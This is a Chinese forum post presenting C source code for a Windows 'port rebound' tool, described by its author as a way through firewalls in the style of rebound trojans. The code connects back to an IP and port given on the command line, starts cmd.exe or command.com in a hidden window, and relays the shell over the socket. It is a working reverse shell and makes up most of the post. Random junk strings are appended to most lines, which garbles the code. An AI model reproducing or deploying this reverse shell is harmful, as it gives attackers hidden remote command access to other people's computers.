社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3369阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |[ )e5Xhd  
I: L}7uA[t  
/* ============================== ma gZmY~  
Rebound port in Windows NT  [f1'Qb  
By wind,2006/7 Fv<^\q  
===============================*/ Fx3CY W  
#include F3%8E<QZd;  
#include _K4E6c_  
7xhBdi[ dQ  
#pragma comment(lib,"wsock32.lib") ,Vc>'4E-  
o#^(mGj_.  
void OutputShell(); Bh#?:h&f  
SOCKET sClient; *\n-yx]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h:4Uv}Z  
Bp7`W:?# "  
void main(int argc,char **argv) YV{^2)^  
{ Ue=Je~Ri;9  
WSADATA stWsaData; +=V[7^K;  
int nRet; vGX}zzto  
SOCKADDR_IN stSaiClient,stSaiServer; $$5E+UDOs  
MyJ\/`8  
if(argc != 3) Z]QpH<Z  
{ '&;s32']}  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^?~WIS  
return; xnR;#Yc  
} y37c&XYq  
;!C~_{/t  
WSAStartup(MAKEWORD(2,2),&stWsaData); }x9D;%)/  
^5GyW`a}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jn#05Z  
Z)7|m  
stSaiClient.sin_family = AF_INET; <Wwcd8d  
stSaiClient.sin_port = htons(0); N,4. %|1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dPm_jX  
G2[? b2)8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )@Vz,f\}  
{ WXj iKW(  
printf("Bind Socket Failed!\n"); \{@n >Mh  
return; $!ATj`}kb  
} V?zCON  
T[L7-5U0  
stSaiServer.sin_family = AF_INET; C5F=J8pY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )&") J}@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Gyj]v5y`c  
.,9e~6}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n | M~C\*  
{ {tDH !sX  
printf("Connect Error!"); }t FRl  
return; M}S1Zz%Ii1  
} om1@;u8u  
OutputShell(); dc+U #]tS  
} WSKubn?7B  
@CUYl*.PD  
void OutputShell() Q`B K R]/  
{ v\3 \n3[u  
char szBuff[1024]; &*nq.l76X`  
SECURITY_ATTRIBUTES stSecurityAttributes; +@"Ls P  
OSVERSIONINFO stOsversionInfo; Gpb<,v_3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g.wDg  
STARTUPINFO stStartupInfo; Ifu[L&U  
char *szShell; u(Kof'p7  
PROCESS_INFORMATION stProcessInformation; sA|!b.q  
unsigned long lBytesRead; {@7xOOAw  
~85>.o2RDW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e a3f`z  
t9\}!{<s  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N fBH  
stSecurityAttributes.lpSecurityDescriptor = 0; !j8 DCVb  
stSecurityAttributes.bInheritHandle = TRUE; LZI[5tA"  
`Q!#v{  
Oj,v88=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q&@e,7]V+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zAkF:^#Y  
O}3|UI!`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !SPu9:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =A]*r9  
stStartupInfo.wShowWindow = SW_HIDE; sd,KB+)  
stStartupInfo.hStdInput = hReadPipe; ;xQNa}"V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >>b <)?3Rv  
Py~1xf/  
GetVersionEx(&stOsversionInfo); 5kx-s6 `!  
!x$6wzKa  
switch(stOsversionInfo.dwPlatformId) MfU0*nVF~  
{ oO4hBM([  
case 1: :?P>))vT%  
szShell = "command.com"; [q!/YL3 %  
break; q\n,/#'i~  
default: kc7,F2=F  
szShell = "cmd.exe"; t8ZzBD!dP  
break; f6])M)  
} 8svN*`[  
[lz#+~rOS  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \n<9R8g5  
m FgrT  
send(sClient,szMsg,77,0); /iw$\F |8  
while(1) 35KRJY#  
{ :lBw0{fP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )C>8B`^S  
if(lBytesRead) h3rVa6cxM  
{ QF4)@ r{2x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9q]n &5  
send(sClient,szBuff,lBytesRead,0); k4-S:kVo  
} ;W?mQUo:P8  
else d^+0=_[PmK  
{ Mpx98xcO  
lBytesRead=recv(sClient,szBuff,1024,0); ^5n#hSqZ=M  
if(lBytesRead<=0) break; PSHzB! H=n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <f9a%`d  
} ey@{Ng#  
} TFG0~"4Cz  
`V2doV)  
return; HJ+ Q7)  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五